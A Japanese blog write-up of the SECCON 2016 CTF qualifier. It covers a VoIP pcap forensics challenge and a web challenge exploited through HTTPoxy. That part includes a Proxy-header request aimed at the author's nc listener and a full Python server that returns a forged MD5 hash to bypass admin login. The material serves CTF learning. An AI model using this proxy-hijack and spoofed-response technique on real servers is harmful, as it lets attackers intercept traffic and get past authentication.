Tahoo!!

自分の勉強していること(コンピュータ関連 / ネットワーク / セキュリティ / サーバ)や趣味について書いていきます

SECCON 2016 CTFオンライン予選 感想&Writeup

こんにちは、ほよたかです。

色々忙しくて久しぶりのブログな気がします。

さて、12/10 15:00 ~ 12/11 15:00で、今年のSECCCON オンライン予選が開催されていました。 今年から社会人ということで、今回は会社の有志で集まったチームでの出場でした。

f:id:takahoyo:20161211173005p:plain

今年のオンライン予選は、SECCON公式Twitterでも宣言されていた通り、Exploitが多い大会でした。

チームのメンバーもExploit問題には苦戦しており、チームとしてもあまり良い結果は残せず、悔いが残る結果だったと思います。

結局、私自身もBinaryやExploitをやろうやろうと思っていても日頃からなかなか出来ていなかったので、あまりチームには貢献できませんでした。 ただ、それ以外のNetworkやWebなどは解けた問題があったので、忘れないうちにWriteupとしてまとめておきたいと思います。 (Writeupを書くまでがCTFと言われるくらいですしw)

Writeup

今回私が主体的に解いたのは次の2問。

  • Forensics 100 VoIP
  • Web 200 pppppoxy

Forensics 100 VoIP

問題名がVoIP、ファイルの拡張子が.pcapだったので、Wiresharkの"Telephony->VoIP Calls"を使えば良いということは、開く前から予想できていた。ファイルを開いてVoIP Callsを選択すると、次のような画面が表示される。

f:id:takahoyo:20161211173812p:plain

▶ ボタンを押すと記録されている音声が再生出来た。最後の方で、"The Flag is SECCON{9001IVR}" と言っていたが、音声が英語でやや早口であったためうまく聞き取るのに時間がかかってしまった。

FLAG: SECCON{9001IVR}

Web 200 pppppoxy

Web問題で、ZIPを解凍するとexeファイルが出現したので、毎年恒例のKeigo YAMAZAKIさんが作る箱庭(Bonsai)シリーズというのはすぐに察した。

今年の箱庭はというと、起動するとコマンドプロンプトが立ち上がり、その後Webブラウザにログイン画面が表示されるというもの。ブラウザのアドレスバーを見ると、ローカルで立ち上がったHTTPサーバにアクセスしているのがわかる。

f:id:takahoyo:20161211181049p:plain

問題文に、"Log in as admin and get the flag" と書かれていたので、adminでログインすることはわかったが、パスワードがわからない。一見、SQLインジェクションかなと思ったけど、隣に座ってたメンバーが、「PoxyってHTTPoxyの脆弱性のことじゃない?」と教えてくれた。

httpoxy.org

blog.hash-c.co.jp

HTTPoxyは、今年7月頃に発表されたCGIで動いているアプリケーションサーバへのアクセス時に、HTTPリクエストに Proxy: http://example.com というヘッダをつけると、外部と通信するときのプロキシを設定する環境変数 HTTP_PROXYhttp://example.com が設定されるという脆弱性。この脆弱性を悪用するとアプリケーションサーバが外部と行うHTTP通信を攻撃者が管理するサーバでの盗聴、改ざんが可能となる。

これを確認するために、Windowsとは別にUbuntuでncコマンドを使用しTCPサーバを立ち上げ、UbuntuIPアドレスを入力したProxyヘッダを付けたリクエストを送ってみた。

f:id:takahoyo:20161211192135p:plain

f:id:takahoyo:20161211192139p:plain

Windowsのローカル立ち上がったサーバではさらに内部で、http://127.0.0.1/Authenticator?user=admin というURLのプログラムと通信しており、この通信をProxyヘッダで指定したサイトへ送信ができることがわかった。また、URLからユーザadminの認証を行っているプログラムであると考えられる。

ちなみに、このURLにあるプログラムは以下のようにローカルからブラウザでアクセスしてみると、keyが"hash"、valueが"md5ハッシュ値"となっているJSONをレスポンスとして返しているのがわかる。これは何度アクセスしても一定であるため、adminのパスワードをmd5化してサーバプログラムにHTTPを通じて渡していると推測できる。

f:id:takahoyo:20161211193748p:plain

さすがに、ハッシュ値から元のパスワードを復号して元のパスワードを割り出すのは困難である。そこで、自分で適当に決めたパスワードのハッシュ値JSON形式で返すサーバを用意し、このレスポンスを偽装することで、自分の決めたパスワードで認証を突破できるのではと考えた。

この偽装する部分は、コンテスト中は他のメンバーが行ったけど、以下のようなPythonスクリプトを書いて、HTTPレスポンスを返す方法でやろうとしてた。(冷静に考えればnetcatでも良かった)ちなみに、hashの部分は、adminのMD5値。

import BaseHTTPServer
import SocketServer

ADDRESS = "0.0.0.0"
PORT = 8080

class MyHTTPRequestHandler(SocketServer.StreamRequestHandler):
  def handle(self):

    print self.rfile.readline().strip()
    print self.rfile.readline().strip()
    print self.rfile.readline().strip()

    self.wfile.write("HTTP/1.0 200 OK\r\n")
    self.wfile.write("Cache-Control: no-store, no-cache, must-revalidate\r\n")
    self.wfile.write("Connection: close\r\n")
    self.wfile.write("Content-Length: 43\r\n")
    self.wfile.write("Content-Type: text/plain;\r\n")
    self.wfile.write("Expires: Sat, 10 Dec 1977 00:00:00 GMT\r\n")
    self.wfile.write("Pragma: no-cache\r\n")
    self.wfile.write("Server: poxyserver/0.1\r\n")
    self.wfile.write("X-XSS-Protection: 0\r\n")
    self.wfile.write("\r\n")
    self.wfile.write('{"hash":"21232F297A57A5A743894A0E4A801FC3"}\r\n')

def start_server():
    server_address = (ADDRESS, PORT)
    server = SocketServer.TCPServer(server_address, MyHTTPRequestHandler)
    print "Listening on %s:%d" % server_address
    try:
      server.serve_forever()
    except KeyboardInterrupt:
      print "Server Exit"

if __name__ == '__main__':
    start_server()

これを動かして、FireFoxの開発者ツールで同じリクエストを送ってみると、認証が通過出来てFLAGが見えた。

f:id:takahoyo:20161212222800p:plain

FLAG: SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}

その他、手を付けていた問題

Forensics 100 Memory Analysis

volatilityをダウンロードしてちょっとやってみたけど、途中で他の方が解いたのでパス。あとでやってみたい。

Binary 100 Anti-Debugging

パスワードがHardcodingされていて、デバッグ環境検知のためにいろいろなツールやらVMwareを検知してるのはわかったが、それを回避する方法 を考えてるうちに、他の方が解いたのでパス。あとでやってみたい。

Web 300 uncomfortable Message

Basic認証の認証情報をどうやってとるかと考えていて、他の方が解いたのでパス。認証で守られたディレクトリ以外にある、CGIでOSコマンドインジェクションを使うところを足がかりにするらしい。あとでやってみたい。

Exploit 100 cheer_message

問題のバイナリを頑張って読んだが、脆弱性を発見できず。Binary Exploit、精進したい…

Web 100 basiq

Basic認証のあるディレクトリを見つけて、admin:adminで通ってしまったので、すっかり騙された。Login系の処理をBlind SQL Injectionしてadminのパスワードを見つけるところまでは予想はしていたが、keiba.cgiのLogin処理には、SQL Injectionの脆弱性なさそうだし、、ということで悩んでたら、Basic認証の方に、SQLインジェクション脆弱性があった。あとでやってみたい。

おわりに

今年もSECCONオンライン予選、楽しませてもらいました。SECCONの運営スタッフの皆様、今年も面白い問題の数々ありがとうございました!また、問題の作問および開催中の24時間のオペレーション、お疲れ様でした。